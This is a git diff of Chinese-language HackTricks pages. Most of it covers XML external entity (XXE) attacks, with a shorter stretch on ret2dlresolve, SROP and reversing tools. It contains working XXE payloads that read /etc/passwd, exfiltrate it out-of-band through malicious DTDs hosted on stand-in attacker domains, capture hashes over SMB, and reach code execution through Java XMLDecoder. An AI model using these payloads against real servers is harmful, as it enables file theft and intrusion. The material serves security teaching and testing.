在这个第一个案例中，请注意 SYSTEM "_\*\*file:///\*\*etc/passwd_" 也会有效。
在这种情况下，请注意 SYSTEM "_\*\*file:///\*\*etc/passwd_" 也会有效。
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
@ -43,7 +43,7 @@ XML是一种用于数据存储和传输的标记语言，具有灵活的结构
```
![](<../images/image (86).png>)
这个第二个案例应该有助于提取文件，如果web服务器使用PHP（Portswiggers实验室的情况除外）
这个第二个案例应该有助于提取文件，如果网络服务器使用 PHP（Portswiggers 实验室的情况除外）
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
@ -83,7 +83,7 @@ XXE 可以被用来滥用云中的 SSRF
```
### Blind SSRF
使用**之前提到的技术**，您可以让服务器访问您控制的服务器，以显示其存在漏洞。但是，如果这不起作用，可能是因为**不允许使用XML实体**，在这种情况下，您可以尝试使用**XML参数实体**：
使用**之前提到的技术**，您可以让服务器访问您控制的服务器，以显示其存在漏洞。但是，如果这不起作用，可能是因为**不允许使用 XML 实体**，在这种情况下，您可以尝试使用**XML 参数实体**：
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
@ -110,10 +110,10 @@ XXE 可以被用来滥用云中的 SSRF
- 创建一个 XML 参数实体 `%file`，读取 `/etc/hostname` 文件的内容。
- 定义另一个 XML 参数实体 `%eval`。它动态声明一个新的 XML 参数实体 `%exfiltrate`。`%exfiltrate` 实体被设置为向攻击者的服务器发起 HTTP 请求，在 URL 的查询字符串中传递 `%file` 实体的内容。
2. **实体的执行：**
- 使用 `%eval` 实体，导致动态声明 `%exfiltrate` 实体的执行。
- 然后使用 `%exfiltrate` 实体，触发对指定 URL 的 HTTP 请求，包含文件的内容。
- 利用 `%eval` 实体，导致动态声明 `%exfiltrate` 实体的执行。
- 然后使用 `%exfiltrate` 实体，触发对指定 URL 的 HTTP 请求，携带文件的内容。
攻击者将这个恶意 DTD 托管在他们控制的服务器上，通常位于类似 `http://web-attacker.com/malicious.dtd` 的 URL。
攻击者在其控制的服务器上托管此恶意 DTD，通常位于类似 `http://web-attacker.com/malicious.dtd` 的 URL。
**XXE Payload:** 为了利用一个易受攻击的应用程序，攻击者发送一个 XXE payload：
```xml
@ -132,7 +132,7 @@ XXE 可以被用来滥用云中的 SSRF
1. 定义一个名为 `file` 的 XML 参数实体，其中包含 `/etc/passwd` 文件的内容。
2. 定义一个名为 `eval` 的 XML 参数实体，包含对另一个 XML 参数实体 `error` 的动态声明。当评估该 `error` 实体时，尝试加载一个不存在的文件，将 `file` 实体的内容作为其名称。
3. 调用 `eval` 实体，导致 `error` 实体的动态声明。
4. 调用 `error` 实体导致尝试加载一个不存在的文件，产生一个错误消息，其中包含 `/etc/passwd` 文件的内容作为文件名的一部分。
4. 调用 `error` 实体导致尝试加载一个不存在的文件，生成一个错误消息，其中包含 `/etc/passwd` 文件的内容作为文件名的一部分。
可以使用以下 XML 调用恶意外部 DTD：
```xml
@ -140,13 +140,13 @@ XXE 可以被用来滥用云中的 SSRF
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
执行后，web 服务器的响应应包含一个错误消息，显示 `/etc/passwd` 文件的内容。
在执行时，web 服务器的响应应包含一个错误消息，显示 `/etc/passwd` 文件的内容。
![](<../images/image (809).png>)
_**请注意，外部 DTD 允许我们在第二个实体内部包含一个实体（\*\***`eval`\***\*），但在内部 DTD 中是禁止的。因此，通常情况下，您无法在不使用外部 DTD 的情况下强制产生错误。**_
### **基于错误（系统 DTD）**
### **基于错误的 (系统 DTD)**
那么，当 **出带交互被阻止**（外部连接不可用）时，盲 XXE 漏洞怎么办？
@ -165,13 +165,13 @@ XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据
%local_dtd;
]>
```
所述步骤由此 DTD 执行：
所述步骤由以下 DTD 执行：
- XML 参数实体 `local_dtd` 的定义包括位于服务器文件系统上的外部 DTD 文件。
- 对 `custom_entity` XML 参数实体进行重新定义，该实体最初在外部 DTD 中定义，以封装一个 [基于错误的 XXE 漏洞](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)。此重新定义旨在引发解析错误，从而暴露 `/etc/passwd` 文件的内容。
- 通过使用 `local_dtd` 实体，外部 DTD 被调用，包含新定义的 `custom_entity`。这一系列操作导致了漏洞所针对的错误消息的发出。
**现实世界示例：** 使用 GNOME 桌面环境的系统通常在 `/usr/share/yelp/dtd/docbookx.dtd` 处有一个 DTD，包含一个名为 `ISOamso` 的实体。
**现实世界示例：** 使用 GNOME 桌面环境的系统通常在 `/usr/share/yelp/dtd/docbookx.dtd` 处具有一个 DTD，其中包含一个名为 `ISOamso` 的实体。
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
@ -201,9 +201,11 @@ XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据
在以下精彩的 GitHub 仓库中，您可以找到 **可能存在于系统中的 DTD 路径**：
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
{{#ref}}
https://github.com/GoSecure/dtd-finder/tree/master/list
{{#endref}}
此外，如果您拥有 **受害者系统的 Docker 镜像**，您可以使用同一仓库的工具来 **扫描** **镜像** 并 **查找** 系统中存在的 **DTD** 路径。请阅读 [GitHub 的自述文件](https://github.com/GoSecure/dtd-finder) 以了解如何操作。
此外，如果您拥有 **受害者系统的 Docker 镜像**，您可以使用同一仓库的工具来 **扫描** **镜像** 并 **查找** 系统中存在的 **DTD** 路径。请阅读 [GitHub 的 Readme](https://github.com/GoSecure/dtd-finder) 以了解如何操作。
```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
@ -221,19 +223,19 @@ Testing 0 entities : []
许多网络应用程序提供**上传 Microsoft Office 文档的功能**，然后提取这些文档中的某些细节。例如，一个网络应用程序可能允许用户通过上传 XLSX 格式的电子表格来导入数据。为了让解析器从电子表格中提取数据，它不可避免地需要解析至少一个 XML 文件。
要测试此漏洞，需要创建一个**包含 XXE 有效负载的 Microsoft Office 文件**。第一步是创建一个空目录，以便将文档解压缩到其中。
要测试此漏洞，需要创建一个**包含 XXE 有效负载的 Microsoft Office 文件**。第一步是创建一个空目录，以便将文档解压缩到该目录中。
一旦文档被解压缩，位于 `./unzipped/word/document.xml` 的 XML 文件应在首选文本编辑器（如 vim）中打开并编辑。XML 应修改以包含所需的 XXE 有效负载，通常以 HTTP 请求开头。
修改后的 XML 行应插入到两个根 XML 对象之间。重要的是将 URL 替换为可监控请求的 URL。
最后，可以将文件压缩以创建恶意的 poc.docx 文件。从之前创建的 "unzipped" 目录中，应运行以下命令：
最后，可以将文件压缩以创建恶意的 poc.docx 文件。从之前创建的“unzipped”目录中，应运行以下命令：
现在，创建的文件可以上传到潜在易受攻击的网络应用程序中，并希望在 Burp Collaborator 日志中出现请求。
### Jar: protocol
**jar** 协议仅在 **Java 应用程序** 中可用。它旨在允许在 **PKZIP** 存档（例如，`.zip`、`.jar` 等）中访问文件，适用于本地和远程文件。
**jar** 协议仅在**Java 应用程序**中可用。它旨在允许在**PKZIP** 存档（例如，`.zip`、`.jar` 等）中访问文件，适用于本地和远程文件。
```
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
@ -244,12 +246,12 @@ jar:https://download.host.com/myarchive.zip!/file.txt
通过 jar 协议访问 PKZIP 存档中的文件的过程涉及几个步骤：
1. 发出 HTTP 请求，从指定位置下载 zip 存档，例如 `https://download.website.com/archive.zip`。
2. 包含存档的 HTTP 响应暂时存储在系统上，通常在 `/tmp/...` 位置。
2. 包含存档的 HTTP 响应临时存储在系统上，通常在 `/tmp/...` 位置。
3. 然后提取存档以访问其内容。
4. 读取存档中的特定文件 `file.zip`。
5. 操作完成后，删除在此过程中创建的任何临时文件。
在第二步中中断此过程的一个有趣技术是保持服务器连接在提供存档文件时无限期打开。可以利用 [这个仓库](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) 中的工具来实现这一目的，包括一个 Python 服务器 (`slow_http_server.py`) 和一个 Java 服务器 (`slowserver.jar`)。
在第二步中中断此过程的一个有趣技术是保持服务器连接在提供存档文件时无限期打开。可以利用 [这个仓库](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) 中的工具来实现这一目的，包括 Python 服务器 (`slow_http_server.py`) 和 Java 服务器 (`slowserver.jar`)。
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
@ -296,7 +298,7 @@ i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
```bash
Responder.py -I eth0 -v
```
并通过发送以下请求
通过发送以下请求
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
@ -308,7 +310,7 @@ Responder.py -I eth0 -v
### XInclude
在将客户端数据集成到服务器端 XML 文档中时，例如后端 SOAP 请求中的文档，通常对 XML 结构的直接控制是有限的，这使得由于对 `DOCTYPE` 元素的修改限制，传统的 XXE 攻击受到阻碍。然而，`XInclude` 攻击提供了解决方案，通过允许在 XML 文档的任何数据元素中插入外部实体。即使只能控制服务器生成的 XML 文档中的一部分数据，这种方法也是有效的。
在将客户端数据集成到服务器端 XML 文档中时，例如后端 SOAP 请求中的文档，通常对 XML 结构的直接控制是有限的，这使得传统的 XXE 攻击受到限制，因为无法修改 `DOCTYPE` 元素。然而，`XInclude` 攻击提供了解决方案，允许在 XML 文档的任何数据元素中插入外部实体。即使只能控制服务器生成的 XML 文档中的一部分数据，这种方法仍然有效。
要执行 `XInclude` 攻击，必须声明 `XInclude` 命名空间，并指定所需外部实体的文件路径。以下是如何制定此类攻击的简洁示例：
```xml
@ -318,9 +320,9 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
### SVG - 文件上传
用户上传到某些应用程序的文件，然后在服务器上处理，可能会利用 XML 或包含 XML 的文件格式处理中的漏洞。常见的文件格式如办公文档 (DOCX) 和图像 (SVG) 基于 XML。
用户上传到某些应用程序的文件，然后在服务器上处理，可以利用 XML 或包含 XML 的文件格式处理中的漏洞。常见的文件格式如办公文档 (DOCX) 和图像 (SVG) 基于 XML。
当用户 **上传图像** 时，这些图像会在服务器端处理或验证。即使对于期望 PNG 或 JPEG 格式的应用程序，**服务器的图像处理库也可能支持 SVG 图像**。SVG 作为一种基于 XML 的格式，可能被攻击者利用来提交恶意 SVG 图像，从而使服务器暴露于 XXE (XML External Entity) 漏洞。
当用户 **上传图像** 时，这些图像会在服务器端进行处理或验证。即使对于期望 PNG 或 JPEG 格式的应用程序，**服务器的图像处理库也可能支持 SVG 图像**。SVG 作为一种基于 XML 的格式，可以被攻击者利用来提交恶意 SVG 图像，从而使服务器暴露于 XXE (XML 外部实体) 漏洞。
下面展示了一个此类攻击的示例，其中恶意 SVG 图像试图读取系统文件：
```xml
@ -346,7 +348,7 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
file-upload/pdf-upload-xxe-and-cors-bypass.md
{{#endref}}
### Content-Type: 从 x-www-urlencoded 到 XML
### 内容类型：从 x-www-urlencoded 到 XML
如果 POST 请求接受 XML 格式的数据，您可以尝试在该请求中利用 XXE。例如，如果正常请求包含以下内容：
```xml
@ -406,7 +408,7 @@ Content-Type: application/xml;charset=UTF-8
### UTF-7
您可以在这里使用 \[**"Encode Recipe**" of cyberchef\](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7%20%2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4) 将其转换为 UTF-7。
您可以在这里使用 \[**"Encode Recipe**" of cyberchef\]（\[https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4）将其转换为 UTF-7。
```xml
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@ -442,7 +444,7 @@ DTD 示例：
%abt;
%exfil;
```
## PHP 包装器
## PHP Wrappers
### Base64
@ -498,9 +500,9 @@ Content-Type: application/x-xliff+xml
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
}
```
尽管出现错误，但在 Burp Collaborator 上记录到一次命中，表明与外部实体有某种程度的交互。
尽管出现错误，但在 Burp Collaborator 上记录到了一次命中，表明与外部实体有某种程度的交互。
Out of Band Data Exfiltration 为了提取数据，发送了一个修改过的请求：
带外数据外泄 为了外泄数据，发送了一个修改过的请求：
```
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
@ -512,7 +514,7 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
这种方法揭示了用户代理指示使用 Java 1.8。该版本 Java 的一个显著限制是无法使用带外技术检索包含换行符的文件，例如 /etc/passwd。
这种方法揭示了用户代理指示使用 Java 1.8。这个版本的 Java 的一个显著限制是无法使用带外技术检索包含换行符的文件，例如 /etc/passwd。
基于错误的数据外泄 为了克服这个限制，采用了基于错误的方法。DTD 文件的结构如下，以触发包含目标文件数据的错误：
```xml
@ -521,7 +523,7 @@ Content-Type: application/x-xliff+xml
%foo;
%xxe;
```
服务器响应错误，重要的是反映出不存在的文件，表明服务器正在尝试访问指定的文件：
服务器响应错误，重要的是反映了不存在的文件，表明服务器正在尝试访问指定的文件：
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
@ -607,7 +609,7 @@ Content-Type: application/x-xliff+xml
```
## Java XMLDecoder XEE 到 RCE
XMLDecoder 是一个 Java 类，它根据 XML 消息创建对象。如果恶意用户能够让应用程序在调用 **readObject** 方法时使用任意数据，他将立即获得服务器上的代码执行权限。
XMLDecoder 是一个 Java 类，它根据 XML 消息创建对象。如果恶意用户能够让应用程序在对 **readObject** 方法的调用中使用任意数据，他将立即获得服务器上的代码执行权限。
### 使用 Runtime().exec()
```xml
@ -671,18 +673,19 @@ XMLDecoder 是一个 Java 类，它根据 XML 消息创建对象。如果恶意
```
## 工具
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
{{#ref}}
https://github.com/luisfontes19/xxexploiter
{{#endref}}
## 参考文献
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\
- 通过 HTTP 使用自定义外部 DTD 提取信息: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
- 通过使用自己的外部 DTD 提取信息 via HTTP: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\
- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\
- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
{{#include ../banners/hacktricks-training.md}}

12
src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md
View File

@ -4,20 +4,22 @@
## 基本信息
正如在关于 [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) 和 [**Relro**](../common-binary-protections-and-bypasses/relro.md) 的页面中所解释的，缺少完整 Relro 的二进制文件在第一次使用时会解析符号（如外部库的地址）。这个解析通过调用函数 **`_dl_runtime_resolve`** 进行。
正如在关于 [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) 和 [**Relro**](../common-binary-protections-and-bypasses/relro.md) 的页面中所解释的，缺少完整 Relro 的二进制文件在第一次使用时会解析符号（如外部库的地址）。这个解析通过调用函数 **`_dl_runtime_resolve`** 来进行。
**`_dl_runtime_resolve`** 函数从栈中获取一些结构的引用，以便解析指定的符号。
因此，可以 **伪造所有这些结构** 以使动态链接解析请求的符号（如 **`system`** 函数）并使用配置的参数调用它（例如 **`system('/bin/sh')`**）。
通常，通过制作一个 **初始 ROP 链来调用 `read`** 在可写内存上伪造所有这些结构，然后将 **结构** 和字符串 **`'/bin/sh'`** 传递，以便它们被 `read` 存储在已知位置，然后 ROP 链继续通过调用 **`_dl_runtime_resolve`**，地址为 `$'/bin/sh'`。
通常，通过制作一个 **初始 ROP 链来调用 `read`** 在可写内存上伪造所有这些结构，然后将 **结构** 和字符串 **`'/bin/sh'`** 传递，以便它们被 `read` 存储在已知位置，然后 ROP 链继续通过调用 **`_dl_runtime_resolve`**，并传递 `$'/bin/sh'` 的地址。
> [!TIP]
> 如果没有 syscall gadgets（使用诸如 [**ret2syscall**](rop-syscall-execv.md) 或 [SROP](srop-sigreturn-oriented-programming.md) 的技术），并且没有方法泄漏 libc 地址，这种技术特别有用。
> 如果没有 syscall gadgets（以使用诸如 [**ret2syscall**](rop-syscall-execv.md) 或 [SROP](srop-sigreturn-oriented-programming.md) 的技术），并且没有方法泄漏 libc 地址，这种技术特别有用。
您可以在视频的后半部分找到关于此技术的更好解释：
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
## 结构
@ -27,7 +29,7 @@
1. 在某个地方写入伪造的结构
2. 设置 system 的第一个参数 (`$rdi = &'/bin/sh'`)
3. 在栈上设置调用 **`_dl_runtime_resolve`** 的结构地址
3. 在栈上设置结构的地址以调用 **`_dl_runtime_resolve`**
4. **调用** `_dl_runtime_resolve`
5. **`system`** 将被解析并以 `'/bin/sh'` 作为参数调用

14
src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md
View File

@ -4,14 +4,14 @@
## 基本信息
**`Sigreturn`** 是一个特殊的 **syscall**，主要用于在信号处理程序完成其执行后进行清理。信号是操作系统发送给程序的中断，通常用于指示发生了一些异常情况。当程序接收到信号时，它会暂时暂停当前工作，以通过 **信号处理程序** 处理信号，这是一种专门设计用于处理信号的函数。
**`Sigreturn`** 是一个特殊的 **syscall**，主要用于在信号处理程序完成其执行后进行清理。信号是操作系统发送给程序的中断，通常用于指示发生了一些异常情况。当程序接收到信号时，它会暂时暂停当前工作，以通过 **signal handler** 处理信号，signal handler 是一个专门处理信号的函数。
在信号处理程序完成后，程序需要 **恢复其先前的状态**，就像什么都没有发生一样。这就是 **`sigreturn`** 发挥作用的地方。它帮助程序 **从信号处理程序返回**，并通过清理信号处理程序使用的栈帧（存储函数调用和局部变量的内存区域）来恢复程序的状态。
在信号处理程序完成后，程序需要 **恢复其先前的状态**，就像什么都没有发生一样。这就是 **`sigreturn`** 发挥作用的地方。它帮助程序 **从信号处理程序返回**，并通过清理信号处理程序使用的堆栈帧（存储函数调用和局部变量的内存区域）来恢复程序的状态。
有趣的是 **`sigreturn`** 是如何恢复程序状态的：它通过将 **所有 CPU 的寄存器值存储在栈上** 来实现。当信号不再被阻塞时，**`sigreturn` 从栈中弹出这些值**，有效地将 CPU 的寄存器重置为处理信号之前的状态。这包括指向当前栈顶的栈指针寄存器（RSP）。
有趣的是 **`sigreturn`** 是如何恢复程序状态的：它通过将 **所有 CPU 的寄存器值存储在堆栈上** 来实现。当信号不再被阻塞时，**`sigreturn` 从堆栈中弹出这些值**，有效地将 CPU 的寄存器重置为处理信号之前的状态。这包括指向当前堆栈顶部的堆栈指针寄存器（RSP）。
> [!CAUTION]
> 从 ROP 链中调用 syscall **`sigreturn`** 并 **添加我们希望加载到 **栈** 中的寄存器值，可以 **控制** 所有寄存器值，因此 **调用** 例如 syscall `execve` 和 `/bin/sh`。
> 从 ROP 链中调用 syscall **`sigreturn`** 并 **添加我们希望加载到堆栈中的寄存器值**，可以 **控制** 所有寄存器值，因此 **调用** 例如 syscall `execve` 和 `/bin/sh`。
注意这将是一种 **Ret2syscall** 类型，使得控制参数以调用其他 Ret2syscalls 变得更加容易：
@ -19,9 +19,11 @@
rop-syscall-execv.md
{{#endref}}
要更好地理解，请查看：
要更好地解释，请查看：
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
## 示例

104
src/reversing/reversing-tools-basic-methods/README.md
View File

@ -25,7 +25,7 @@
### [dotPeek](https://www.jetbrains.com/decompiler/)
dotPeek 是一个反编译器，**反编译并检查多种格式**，包括 **库** (.dll)、**Windows 元数据文件** (.winmd) 和 **可执行文件** (.exe)。反编译后，程序集可以保存为 Visual Studio 项目 (.csproj)。
dotPeek 是一个反编译器，**反编译并检查多种格式**，包括 **库** (.dll)、**Windows 元数据文件** (.winmd) 和 **可执行文件** (.exe)。一旦反编译，程序集可以保存为 Visual Studio 项目 (.csproj)。
其优点在于，如果丢失的源代码需要从遗留程序集恢复，此操作可以节省时间。此外，dotPeek 提供了便捷的导航功能，使其成为 **Xamarin 算法分析** 的完美工具之一。
@ -84,111 +84,113 @@ DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
```
iisreset /noforce
```
然后，为了开始调试，您应该关闭所有打开的文件，并在**调试选项卡**中选择**附加到进程...**：
然后，为了开始调试，您应该关闭所有打开的文件，并在 **Debug Tab** 中选择 **Attach to Process...**：
![](<../../images/image (318).png>)
然后选择**w3wp.exe**以附加到**IIS服务器**并点击**附加**：
然后选择 **w3wp.exe** 以附加到 **IIS server** 并点击 **attach**：
![](<../../images/image (113).png>)
现在我们正在调试该进程，是时候停止它并加载所有模块。首先点击_调试 >> 全部中断_，然后点击_**调试 >> 窗口 >> 模块**_：
现在我们正在调试该进程，是时候停止它并加载所有模块。首先点击 _Debug >> Break All_，然后点击 _**Debug >> Windows >> Modules**_：
![](<../../images/image (132).png>)
![](<../../images/image (834).png>)
在**模块**中点击任何模块并选择**打开所有模块**：
在 **Modules** 中点击任何模块并选择 **Open All Modules**：
![](<../../images/image (922).png>)
在**程序集资源管理器**中右键点击任何模块并点击**排序程序集**：
在 **Assembly Explorer** 中右键点击任何模块并点击 **Sort Assemblies**：
![](<../../images/image (339).png>)
## Java反编译器
## Java 反编译器
[https://github.com/skylot/jadx](https://github.com/skylot/jadx)\
[https://github.com/java-decompiler/jd-gui/releases](https://github.com/java-decompiler/jd-gui/releases)
## 调试DLL
## 调试 DLL
### 使用IDA
### 使用 IDA
- **加载rundll32**（64位在C:\Windows\System32\rundll32.exe，32位在C:\Windows\SysWOW64\rundll32.exe）
- 选择**Windbg**调试器
- 选择“**在库加载/卸载时挂起**”
- **加载 rundll32**（64位在 C:\Windows\System32\rundll32.exe，32位在 C:\Windows\SysWOW64\rundll32.exe）
- 选择 **Windbg** 调试器
- 选择 "**Suspend on library load/unload**"
![](<../../images/image (868).png>)
- 配置执行的**参数**，输入**DLL的路径**和您想要调用的函数：
- 配置执行的 **参数**，输入 **DLL 的路径** 和您想要调用的函数：
![](<../../images/image (704).png>)
然后，当您开始调试时，**每个DLL加载时执行将被停止**，然后，当rundll32加载您的DLL时，执行将被停止。
然后，当您开始调试时，**每个 DLL 加载时执行将被停止**，然后，当 rundll32 加载您的 DLL 时，执行将被停止。
但是，您如何才能到达已加载的DLL的代码呢？使用这种方法，我不知道怎么做。
但是，您如何才能到达已加载的 DLL 的代码呢？使用这种方法，我不知道怎么做。
### 使用x64dbg/x32dbg
### 使用 x64dbg/x32dbg
- **加载rundll32**（64位在C:\Windows\System32\rundll32.exe，32位在C:\Windows\SysWOW64\rundll32.exe）
- **更改命令行**（_文件 --> 更改命令行_），并设置DLL的路径和您想要调用的函数，例如：“C:\Windows\SysWOW64\rundll32.exe” “Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll”,DLLMain
- 更改_选项 --> 设置_并选择“**DLL入口**”。
- 然后**开始执行**，调试器将在每个DLL主函数处停止，在某个时刻您将**停在您的DLL的DLL入口**。从那里，只需搜索您想要放置断点的点。
- **加载 rundll32**（64位在 C:\Windows\System32\rundll32.exe，32位在 C:\Windows\SysWOW64\rundll32.exe）
- **更改命令行**（ _File --> Change Command Line_ ）并设置 DLL 的路径和您想要调用的函数，例如："C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
- 更改 _Options --> Settings_ 并选择 "**DLL Entry**"。
- 然后 **开始执行**，调试器将在每个 DLL 主函数处停止，在某个时刻您将 **停在您的 DLL 的 DLL Entry**。从那里，只需搜索您想要放置断点的点。
请注意，当执行因任何原因在win64dbg中停止时，您可以在**win64dbg窗口顶部**查看**您正在查看的代码**：
请注意，当执行因任何原因在 win64dbg 中停止时，您可以在 **win64dbg 窗口顶部** 查看 **您正在查看的代码**：
![](<../../images/image (842).png>)
然后，查看此处可以看到执行在您想要调试的DLL中停止。
然后，查看此处可以看到执行在您想要调试的 DLL 中停止。
## GUI应用程序 / 视频游戏
## GUI 应用程序 / 视频游戏
[**Cheat Engine**](https://www.cheatengine.org/downloads.php)是一个有用的程序，可以找到在运行游戏的内存中保存的重要值并更改它们。更多信息请参见：
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) 是一个有用的程序，可以找到在运行游戏的内存中保存的重要值并更改它们。更多信息请参见：
{{#ref}}
cheat-engine.md
{{#endref}}
[**PiNCE**](https://github.com/korcankaraokcu/PINCE)是GNU项目调试器（GDB）的前端/逆向工程工具，专注于游戏。然而，它可以用于任何与逆向工程相关的内容。
[**PiNCE**](https://github.com/korcankaraokcu/PINCE) 是一个针对 GNU Project Debugger (GDB) 的前端/逆向工程工具，专注于游戏。然而，它可以用于任何与逆向工程相关的内容。
[**Decompiler Explorer**](https://dogbolt.org/)是多个反编译器的网页前端。该网络服务允许您比较不同反编译器在小型可执行文件上的输出。
[**Decompiler Explorer**](https://dogbolt.org/) 是多个反编译器的网页前端。该网络服务允许您比较不同反编译器在小型可执行文件上的输出。
## ARM & MIPS
{% embed url="https://github.com/nongiach/arm_now" %}
{{#ref}}
https://github.com/nongiach/arm_now
{{#endref}}
## Shellcodes
### 使用blobrunner调试shellcode
### 使用 blobrunner 调试 shellcode
[**Blobrunner**](https://github.com/OALabs/BlobRunner)将**分配**shellcode到内存空间中，**指示**您shellcode被分配的**内存地址**并将**停止**执行。\
然后，您需要**附加调试器**（Ida或x64dbg）到该进程，并在**指示的内存地址**上放置一个**断点**并**恢复**执行。这样您将调试shellcode。
[**Blobrunner**](https://github.com/OALabs/BlobRunner) 将 **分配** shellcode 到内存空间，将 **指示** 您 shellcode 被分配的 **内存地址** 并将 **停止** 执行。\
然后，您需要 **附加调试器**（Ida 或 x64dbg）到该进程，并在 **指示的内存地址** 设置一个 **断点** 并 **恢复** 执行。这样您将调试 shellcode。
发布的github页面包含包含已编译版本的zip文件：[https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
您可以在以下链接找到稍微修改过的Blobrunner版本。为了编译它，只需**在Visual Studio Code中创建一个C/C++项目，复制并粘贴代码并构建它**。
发布的 GitHub 页面包含包含已编译版本的 zip 文件：[https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
您可以在以下链接找到稍微修改过的 Blobrunner 版本。为了编译它，只需 **在 Visual Studio Code 中创建一个 C/C++ 项目，复制并粘贴代码并构建**。
{{#ref}}
blobrunner.md
{{#endref}}
### 使用jmp2it调试shellcode
